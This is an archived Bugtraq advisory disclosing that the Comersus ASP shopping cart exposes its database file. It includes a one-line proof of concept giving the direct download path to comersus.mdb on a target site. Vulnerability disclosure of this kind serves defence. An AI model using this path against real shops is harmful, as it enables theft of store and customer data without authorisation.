Compersus ASP shopping cart <= DataBase Downloading vuln.

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: Compersus ASP shopping cart <= DataBase Downloading vuln.
From: mfoxhacker@xxxxxxxxx
Date: 9 Aug 2006 16:05:00 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

ComerSus ASP Shopping Cart

Vendor : Www.Compersus.Com

Credits : MFox
HomePage : Www.HackerZ.ir

Remote DataBase Getting !
Proof of Concept :
Http://[Target]/[Path]/database/comersus.mdb

Prev by Date: myBloggie <= 2.1.3 (mybloggie_root_path) Remote File Inclusion Vulnerability
Next by Date: Virtual War v1.5.0 <= Sql Injection vuln.
Previous by thread: Re: Re: myBloggie <= 2.1.3 (mybloggie_root_path) Remote File Inclusion Vulnerability
Next by thread: Virtual War v1.5.0 <= Sql Injection vuln.
Index(es):
- Date
- Thread